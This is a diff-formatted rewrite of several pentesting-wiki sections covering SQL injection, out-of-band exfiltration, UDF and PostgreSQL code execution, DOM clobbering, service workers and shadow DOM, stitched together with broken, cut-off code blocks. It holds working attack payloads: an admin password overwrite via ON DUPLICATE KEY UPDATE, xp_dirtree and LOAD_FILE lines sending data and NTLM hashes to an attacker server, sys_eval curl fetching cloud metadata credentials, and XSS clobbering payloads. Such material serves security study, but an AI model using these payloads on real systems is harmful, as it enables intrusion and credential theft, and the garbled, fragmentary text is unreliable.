 ## What is SQL injection?
 
-SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour.\
+An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
-In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. (From [here](https://portswigger.net/web-security/sql-injection)).
 
-> In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.

Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.**\

 ### Confirming with logical operations
 
-One of the best ways to confirm a SQL injection is by making it operate a **logical operation** and having the expected results.\
+A reliable method to confirm an SQL injection vulnerability involves executing a **logical operation** and observing the expected outcomes. For instance, a GET parameter such as `?username=Peter` yielding identical content when modified to `?username=Peter' or '1'='1` indicates a SQL injection vulnerability.
-For example: if the GET parameter `?username=Peter` returns the same content as `?username=Peter' or '1'='1` then, you found a SQL injection.
 
-Also you can apply this concept to **mathematical operations**. Example: If `?id=1` returns the same as `?id=2-1`, SQLinjection.
+Similarly, the application of **mathematical operations** serves as an effective confirmation technique. For example, if accessing `?id=1` and `?id=2-1` produce the same result, it's indicative of SQL injection.
+
+Examples demonstrating logical operation confirmation:

 ## Exploiting Hidden Union Based
 
-If you can see the output of the query but you can't achieve a union based injection, you are dealing with a hidden union based injection.\
+When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
-In this situation you end up with a blind injection. To turn the blind injection to a union based one, you need to extract the query being executed on the backend.\
-You can do so by use of the blind injection and the default tables of your target DBMS. To learn about those default tables read the documentation of your target DBMS.\
-After extracting the query, you need to adjust your payload accordingly, closing the original query safely. Then append a union query to your payload and start exploiting the newly obtained union based injection.
 
-Complete Article: https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f
+This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.

 ### ON DUPLICATE KEY UPDATE
 
-ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
+The `ON DUPLICATE KEY UPDATE` clause in MySQL is utilized to specify actions for the database to take when an attempt is made to insert a row that would result in a duplicate value in a UNIQUE index or PRIMARY KEY. The following example demonstrates how this feature can be exploited to modify the password of an administrator account:
 
+Example Payload Injection:
+
+An injection payload might be crafted as follows, where two rows are attempted to be inserted into the `users` table. The first row is a decoy, and the second row targets an existing administrator's email with the intention of updating the password:
+
+```sql
+INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
 ```
-Inject using payload:
-  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
 
-The query would look like this:
+Here's how it works:
-INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
 
-This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
+- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
-Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
+- If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
-
+- Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
-After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

+The `xp_dirtree` stored procedure, for instance, is used to make network requests, but it's limited to only TCP port 445. The port number isn't modifiable, but it allows reading from network shares. The usage is demonstrated in the SQL script below:
 
 ```sql
 DECLARE @user varchar(100);
 SELECT @user = (SELECT user);  
-EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
+EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
 ```
 
-Much like MySQL’s `LOAD_FILE`, you can use `xp_dirtree` to make a network request to **only TCP port 445**. You cannot control the port number, but can read information from network shares.

-### LOAD\_FILE/LOAD DATA/LOAD XML to SSRF
+**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
 
-Every SQL Out of Band data exfiltration article will use the `LOAD_FILE()` string function to make a network request. The function itself has its own limitations based on the operating system it is run on and the settings with which the database was started.
+### Server-Side Request Forgery (SSRF) via SQL Functions
 
-For example, if the `secure_file_priv` global variable was not set, the [default value is set to `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), which means that you can only use functions like `LOAD_FILE('filename')` or `LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename` to read files from the `/var/lib/mysql-files/` directory. To be able to perform reads on files outside this directory, the `secure_file_priv` option has to be set to `""` which can only be done by updating the database configuration file or by passing the `--secure_file_priv=""` as a startup parameter to the database service.
+In the exploration of SQL Out of Band data exfiltration, the `LOAD_FILE()` function is commonly employed to initiate network requests. This function, however, is constrained by the operating system it operates on and the database's startup configurations.
 
-Nevertheless, under circumstances where `secure_file_priv` is set to `""`, we should be able to read other files on the system, assuming file read perms and `file_priv` is set to `Y` in `mysql.user` for current database user. However, being able to use these functions to make network calls is very operating system dependent. As these functions are built only to read files, the only network relevant calls that can be made are to UNC paths on Windows hosts as the [Windows `CreateFileA` api that is called when accessing a file understands UNC naming conventions](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
+The `secure_file_priv` global variable, if unset, defaults to `/var/lib/mysql-files/`, limiting file access to this directory unless set to an empty string (`""`). This adjustment necessitates modifications in the database's configuration file or startup parameters.
 
-So if your target database is running on a Windows machine the injection query `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` would [result in the Windows machine sending out NTLMv2 hashes in an attempt to authenticate with the attacker controlled `\\attackerserver.example.com`](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html).
+Given `secure_file_priv` is disabled (`""`), and assuming the necessary file and `file_priv` permissions are granted, files outside the designated directory can be read. Yet, the capability for these functions to make network calls is highly dependent on the operating system. On Windows systems, network calls to UNC paths are feasible due to the operating system's understanding of UNC naming conventions, potentially leading to the exfiltration of NTLMv2 hashes.
 
-This Server Side Request Forgery, although useful, is restricted to only TCP port 445. You cannot control the port number, but can read information from shares setup with full read privs. Also, as has been shown with older research, you can use this limited SSRF capability to steal hashes and relay them to get shells, so it’s definitely useful.
+This SSRF method is limited to TCP port 445 and does not permit port number modification, though it can be used to access shares with full read privileges and, as demonstrated in prior research, to steal hashes for further exploitation.
 
-### User Defined Functions to RCE
+### Remote Code Execution (RCE) via User Defined Functions (UDF)
 
-Another cool technique with MySQL databases is the ability to use User Defined Functions (UDF) present in external library files that if present in specific locations or system $PATH then can be accessed from within MySQL.
+MySQL databases offer the use of User Defined Functions (UDF) from external library files. If these libraries are accessible within specific directories or the system's `$PATH`, they can be invoked from within MySQL.
 
-You could use a SQL Injection to **write a library (`.so` or `.dll`** depending on Linux or Windows), containing a User Defined Function that can make network/HTTP requests, that can be then invoked through additional queries.
+This technique allows for the execution of network/HTTP requests through a UDF, provided several conditions are met, including write access to the `@@plugin_dir`, `file_priv` set to `Y`, and `secure_file_priv` disabled.
 
-This has its own set of restrictions though. Based on the version of MySQL, which you can identify with `select @@version`, the directory where plugins can be loaded from is restricted. MySQL below `v5.0.67` allowed for library files to be loaded from system path if the `plugin_dir` variable was not set. This has changed now and newer versions have the **`plugin_dir`** variable set to something like `/usr/lib/mysql/plugin/`, which is usually owned by root.
+For instance, the `lib_mysqludf_sys` library or other UDF libraries enabling HTTP requests can be loaded to perform SSRF. The libraries must be transferred to the server, which can be achieved through hex or base64 encoding of the library's contents and then writing it to the appropriate directory.
 
-Basically **for you to load a custom library into MySQL and call a function from the loaded library via SQL Injection, you would need**:
+The process varies if the `@@plugin_dir` is not writable, especially for MySQL versions above `v5.0.67`. In such cases, alternative paths that are writable must be used.
 
-* ability to **write to the location** specified in **`@@plugin_dir`** via SQL Injection
+Automation of these processes can be facilitated by tools such as SQLMap, which supports UDF injection, and for blind SQL injections, output redirection or DNS request smuggling techniques may be utilized.
-* **`file_priv`** set to **`Y`** in `mysql.user` for the current database user
-* **`secure_file_priv`** set to **`""`** so that you can read the raw bytes of the library from an arbitrary location like the network or a file uploads directory in a web application.
-
-Assuming the above conditions are met, you can use the **classical approach of transferring the** [**popular MySQL UDF `lib_mysqludf_sys` library**](https://github.com/mysqludf/lib\_mysqludf\_sys) **to the database server**. You would then be able to make operating system command requests like `cURL` or `powershell wget` to perform SSRF using the syntax
-
-`x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
-
-There are a lot of other functions declared in this library, an analysis of which can be seen [here](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). If you are lazy like me, you can grab a copy of this UDF library, for the target OS, from a metasploit installation from the `/usr/share/metasploit-framework/data/exploits/mysql/` directory and get going.
-
-Alternatively, UDF libraries have been created to specifically provide the database the ability to make HTTP requests. You can use [MySQL User-defined function (UDF) for HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) to get the database to make HTTP requests, using the following syntax
-
-`x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
-
-You could also [create your own UDF and use that for post exploitation as well.](https://pure.security/simple-mysql-backdoor-using-user-defined-functions/)
-
-In any case, you need to transfer the library to the database server. You can do this in multiple ways
-
-1. Use the MySQL `hex()` string function or something like `xxd -p filename.so | tr -d '\n'` to convert the contents of the library to hex format and then dumping it to the `@@plugin_dir` directory using `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
-2. Alternatively, convert the contents of `filename.so` to base64 and use `x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
-
-If the `@@plugin_dir` is not writable, then you are out of luck if the version is above `v5.0.67`. Otherwise, write to a different location that is in path and load the UDF library from there using
-
-* for the `lib_mysqludf_sys` library - `x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //`
-* for the `mysql-udf-http` library - `x';create function http_get returns string soname 'mysql-udf-http.so'; -- //`
-
-
-For automating this, you can use SQLMap which supports [the usage of custom UDF via the `--udf-inject` option](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
-
-For Blind SQL Injections you could redirect output of the UDF functions to a temporay table and then read the data from there or use [DNS request smuggled inside a `sys_eval` or `sys_exec` curl command](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).

+### PostgreSQL Large Objects
 
-# PostgreSQL Large Objects
+PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.
 
-PostgreSQL exposes a structure called **large object (**`pg_largeobject`  table), which is used for storing data that would be difficult to handle in its entirety (like an image or a PDF document). As opposed to the `COPY TO` function, the advantage of **large objects** lies in the fact that the **data** they **hold** can be **exported back** to the **file system** as an **identical copy of the original imported file**.
+For **storing a complete file** within this table, an object must be created in the `pg_largeobject` table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.
 
-In order to **save a complete file inside this table** you first need to **create an object** inside the mentioned table (identified by a **LOID**) and then **insert chunks of 2KB** inside this object. It's very important that all the **chunks have 2KB** (except possible the last one) **or** the **exporting** function to the file system **won't work**.
+To **divide your binary data** into 2KB chunks, the following commands can be executed:
-
-In order to **split** your **binary** in **chunks** of size **2KB** you can do:
 
 ```bash
-split -b 2048 pg_exec.so #This will create files of size 2KB
+split -b 2048 your_file # Creates 2KB sized files
 ```
 
-In order to encode each of the files created to Base64 or Hex you can use:
+For encoding each file into Base64 or Hex, the commands below can be used:
 
 ```bash
-base64 -w 0 <Chunk_file> #Encoded in 1 line
+base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
-xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
+xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
 ```
 
-{% hint style="info" %}
+**Important**: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula `ceil(n / 3) * 4`.
-When exploiting this remember that you have to send **chunks of 2KB clear-text bytes** (not 2KB of base64 or hex encoded bytes). If you try to automate this, the size of a **hex encoded** file is the **double** (then you need to send 4KB of encoded data for each chunk) and the size of a **base64** encoded file is `ceil(n / 3) * 4`

-SELECT lo_creat(-1);       -- returns OID of new, empty large object
+SELECT lo_creat(-1);       -- Creates a new, empty large object
-SELECT lo_create(173454);   -- attempts to create large object with OID 43213
+SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID
 ```
 
-If you are abusing a **Blind SQLinjection** you will be more interested on using `lo_create` with a **fixed LOID** so you **know where** you have to **upload** the **content**.\
+In situations requiring precise control, such as exploiting a Blind SQL Injection, `lo_create` is preferred for specifying a fixed LOID.
-Also, note that there is no syntax error the functions are `lo_creat` and `lo_create`.
 
-LOID is used to identify the object in the `pg_largeobjec`t table. Inserting chunks of size 2KB into the `pg_largeobject` table can be achieved using:
+Data chunks can then be inserted as follows:
 
 ```sql
-INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
+INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
-INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
+INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
-INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
+
 ```
 
-Finally you can export the file to the file-system doing (during this example the LOID used was `173454`):
+To export and potentially delete the large object after use:
 
 ```sql
-SELECT lo_export(173454, '/tmp/pg_exec.so');
+SELECT lo_export(173454, '/tmp/your_file');
+SELECT lo_unlink(173454);  -- Deletes the specified large object
 ```

-You possible may be interested in delete the large object created after exporting it:

 ```sql
-SELECT lo_unlink(173454);  -- deletes large object with OID 173454
+select lo_import('/path/to/file');
+select lo_import('/path/to/file', 173454);
 ```
 
-# Using lo\_import & Hex
+Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
-
-In this scenario lo\_import is going to be used to create a large object object. Fortunately in this case you can (and cannot) specify the LOID you would want to use:
-
-```sql
-select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
-select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
-```
-
-After creating the object you can start inserting the data on each page (remember, you have to insert chunks of 2KB):
 
 ```sql
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
-update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
-update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
 ```
 
-The HEX must be just the hex (without `0x` or `\x`), example:
+To complete the process, the data is exported and the large object is deleted:
 
 ```sql
-update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
+select lo_export(173454, '/path/to/your_file');
+select lo_unlink(173454);  -- Deletes the specified large object
 ```
 
-Finally, export the data to a file and delete the large object:
+### Limitations

-```sql
- select lo_export(173454, 'C:\\path\to\pg_extension.dll');

-However, there may be **old object with an ACL that allows current user to read it**, then we can exfiltrate that object's content.
 
+It's noted that **large objects may have ACLs** (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.

 ## PostgreSQL Extensions
 
-PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in.\
+PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.
-Extensions are modules that supply extra functions, operators, or types. They are libraries written in C.\

-From PostgreSQL > 8.1 the extension libraries must be compiled with a especial header or PostgreSQL will refuse to execute them.
+From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.

+In the **latest versions** of PostgreSQL, restrictions have been imposed where the `superuser` is **prohibited** from **loading** shared library files except from specific directories, such as `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix systems. These directories are **secured** against write operations by either the NETWORK\_SERVICE or postgres accounts.
 
-However, an authenticated database `superuser` **can write** binary files to the file-system using “large objects” and can of course write to the `C:\Program Files\PostgreSQL\11\data` directory. The reason for this should be clear, for updating/creating tables in the database.
+Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables.
 
-The underlying issue is that the `CREATE FUNCTION` operative **allows for a directory traversal** to the data directory! So essentially, an authenticated attacker can **write a shared library file into the data directory and use the traversal to load the shared library**. This means an attacker can get native code execution and as such, execute arbitrary code.
+A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**.

-In short, the _backslash-trick_ relies on exploiting a minor difference between two “URL” specifications: the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 is a generic, multi-purpose specification for the syntax of _Uniform Resource Identifiers_, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard.
+The *backslash-trick* exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
 
-Both of them describe a way of parsing URI/URLs, with one slight difference. The WHATWG specification describes [one extra character](https://url.spec.whatwg.org/#authority-state), the `\`, which behaves just like `/`: ends the hostname & authority and starts the path of the URL.

 ## Basic Information
 
-A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. ([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)).\
+A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.
-Then you could abuse service workers by **creating/modifying them** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**.
 
-### Check existent SWs
 
-You can see them in the **Service Workers** field in the **Application** tab of **Developer Tools**. You can also look at [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals).
+### Checking for Existing Service Workers

Another method is visiting [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) for a more detailed view.
 
 ### Push Notifications
 
-If the victim didn't grant **push notifications permissions** the service worker **won't be able to receive communications from the server if the user doesn't access the attacker page again**.

+**Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.

+More in depth details [**in this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
 
-There are two important types of cache:
+The technique discussed here involves understanding the behavior and interaction of two primary cache types: the **back/forward cache (bfcache)** and the **disk cache**. The bfcache, which stores a complete snapshot of a page including the JavaScript heap, is prioritized over the disk cache for back/forward navigations due to its ability to store a more comprehensive snapshot. The disk cache, in contrast, stores resources fetched from the web without including the JavaScript heap, and is utilized for back/forward navigations to reduce communication costs. An interesting aspect of the disk cache is its inclusion of resources fetched using `fetch`, meaning accessed URL resources will be rendered by the browser from the cache.
 
-* **back/forward cache (bfcache)**
+### Key Points:
-  * ref. [https://web.dev/i18n/en/bfcache/](https://web.dev/i18n/en/bfcache/)
-  * It stores a complete snapshot of a page **including the JavaScript heap**.
-  * The cache is used for back/forward navigations.
-  * it has preference over disk cache
-* **disk cache**
-  * ref. [https://www.chromium.org/developers/design-documents/network-stack/disk-cache/](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)
-  * It stores a resource fetched from the web. The cache **doesn't include the JavaScript heap**.
-  * The cache is also used for back/forward navigations to skip communication costs.
 
-As a interesting point of disk cache, the **cache includes** not only the HTTP response rendered to a web page, but also **those fetched with `fetch`**. In other words, if you a**ccess the URL for a fetched** resource, the **browser will render the resource** on the page.
+- The **bfcache** has precedence over the disk cache in back/forward navigations.
+- To utilize a page stored in disk cache instead of bfcache, the latter must be disabled.
 
-There is another important point. If both disk cache and bfcache are valid for an accessed page at back/forward navigations, the **bfcache has priority over the disk cache**. So, if you need to access a page stored in both caches but you want to use the one from the disk, you need to somehow **disable bfcache.**
+### Disabling bfcache:
 
-### Disable bfcache
+By default, Puppeteer disables bfcache, aligning with conditions listed in Chromium's documentation. One effective method to disable bfcache is through the use of `RelatedActiveContentsExist`, achieved by opening a page with `window.open()` that retains a reference to `window.opener`.
 
-bfcache is disabled by [default options](https://github.com/puppeteer/puppeteer/blob/v19.2.0/packages/puppeteer-core/src/node/ChromeLauncher.ts#L175) of puppeteer.
+### Reproducing the behavior:
 
-Let's try the interesting behavior in this challenge.
+1. Visit a webpage, e.g., `https://example.com`.
+2. Execute `open("http://spanote.seccon.games:3000/api/token")`, which results in a server response with a 500 status code.
+3. In the newly opened tab, navigate to `http://spanote.seccon.games:3000/`. This action caches the response of `http://spanote.seccon.games:3000/api/token` as a disk cache.
+4. Use `history.back()` to navigate back. The action results in the rendering of the cached JSON response on the page.
 
-Firstly, you have to disable bfcache[\[2\]](https://blog.arkark.dev/2022/11/18/seccon-en/#fn2). There are many conditions where bfcache is disabled, the list is:
+Verification that the disk cache was utilized can be confirmed through the use of DevTools in Google Chrome.

+For further details on bfcache and disk cache, references can be found at [web.dev on bfcache](https://web.dev/i18n/en/bfcache/) and [Chromium's design documents on disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectively.

 ## **Clobbering `window.someObject`**
 
-A common pattern used by JavaScript developers is:
+In JavaScript it's common to find:
 
 ```javascript
 var someObject = window.someObject || {};
 ```
 
-If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
+Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:
+
+```html
+<a id=someObject href=//malicious-website.com/malicious.js></a>
+```
+
+In a vulnerable code such as:
 
 ```html
 <script>
- window.onload = function(){
+    window.onload = function(){
-    let someObject = window.someObject || {};
+        let someObject = window.someObject || {};
-    let script = document.createElement('script');
+        let script = document.createElement('script');
-    script.src = someObject.url;
+        script.src = someObject.url;
-    document.body.appendChild(script);
+        document.body.appendChild(script);
- };
+    };
 </script>
 ```
 
-To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
+This method exploits the script source to execute unwanted code.
-
-{% code overflow="wrap" %}
-```html
-<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
-```
-{% endcode %}
-
-Injecting that data **`window.someObject.url`** is going to be `href=//malicious-website.com/malicious.js`
 
 **Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
 
-Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
+Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.

-What's also interesting is that you can **hide elements from `innerText`**, so if you inject a HTML/body tag you can use styles to hide it from `innerText` to prevent other text from interfering with your attack:
+Furthermore, by employing styles to hide these injected HTML/body tags, interference from other text in the `innerText` can be prevented, thus enhancing the efficacy of the attack:

+alert(document.getElementById('cdnDomain').innerText); // Clobbered
 </script>

-We looked at SVG too and it's possible to use the `<body>` tag there:
+Investigations into SVG revealed that a `<body>` tag can also be utilized effectively:

 <script>
-alert(document.getElementById('cdnDomain').innerText)//clobbered

+- **Sinks** are potentially dangerous endpoints where malicious data can lead to adverse effects, such as script execution.
-> A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the `eval()` function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink is `document.body.innerHTML` because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.

 </details>
 
-## Basic Information
+**Check out this blog: [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** and this **CTF challenge: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
 
-Shadow DOM is part of the [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web\_Components) feature suite, which aims to allow JS developers to create reusable custom elements with their functionality encapsulated away from the rest of the website code.
-
-Essentially, you can use the Shadow DOM to **isolate your component's HTML and CSS from the rest of the webpage**. For example, if you create element IDs in a shadow DOM, they **will not conflict with element IDs in the parent DOM**. Any CSS selectors you utilize in your shadow DOM will only apply within the shadow DOM and not to the parent DOM, and any selectors you utilize in the parent will not penetrate within the shadow DOM.
-
-```js
-// creating a shadow DOM
-let $element = document.createElement("div");
-$shadowDomRef = $element.attachShadow({ mode: "open" }); // open or closed
-```
-
-Normally, when you attach an **"open" shadow DOM to an element**, you can obtain a reference to the shadow DOM with **`$element.shadowRoot`**. However, if the shadow DOM is attached under **"closed"** mode, you **can't obtain a reference** to it this way. Even after reading all developer documentation I could find, I'm still slightly unclear about the purpose of closed mode. [According to Google](https://developers.google.com/web/fundamentals/web-components/shadowdom):
-
-> There's another flavour of shadow DOM called "closed" mode. When you create a **closed** shadow tree, **outside JavaScript won't be able to access the internal DOM of your component**. This is similar to how native elements like `<video>` work. JavaScript cannot access the shadow DOM of `<video>` because the browser implements it using a closed-mode shadow root.
-
-However, they also state:
-
-> Closed shadow roots are not very useful. Some developers will see closed mode as an **artificial security feature**. But let's be clear, it's **not** a security feature.
-
-## Accessing the Shadow DOM
-
-### window.find() and text selections <a href="#introducing-windowfind-and-text-selections" id="introducing-windowfind-and-text-selections"></a>
-
-The function **`window.find("search_text")` penetrates within a shadow DOM**. This function effectively has the same functionality as ctrl-F on a webpage.
-
-It's possible to call **`document.execCommand("SelectAll")`** to expand the selection as **much as possible** and then call **`window.getSelection()`** to **return the contents** of selected text inside the shadow DOM.
-
-In **firefox** you can use `getSelection()` which returns a [Selection](https://developer.mozilla.org/en-US/docs/Web/API/Selection) object, where `anchorElement` is a **reference to an element in the shadow DOM**. So, we can exfiltrate contents of the shadow DOM as follows:
-
-```js
-getSelection().anchorNode.parentNode.parentNode.parentNode.innerHTML
-```
-
-But this doesn't work in Chromium.
-
-### contenteditable or CSS injection <a href="#contenteditable-or-css-injection" id="contenteditable-or-css-injection"></a>
-
-One way we might be able to interact with the shadow DOM is if we have an **HTML or JS injection inside of it**. There are some interesting situations where you can obtain injection within a shadow DOM where you wouldn't be able to on a normal crossorigin page.
-
-One example, is if you have any **elements with the `contenteditable` attribute**. This is a deprecated and little used HTML attribute that declares the **content of that element to be user-editable**. We can use selections along with the **`document.execCommand`** API to interact with a contenteditable element and obtain an HTML injection!
-
-```js
-find('selection within contenteditable');
-
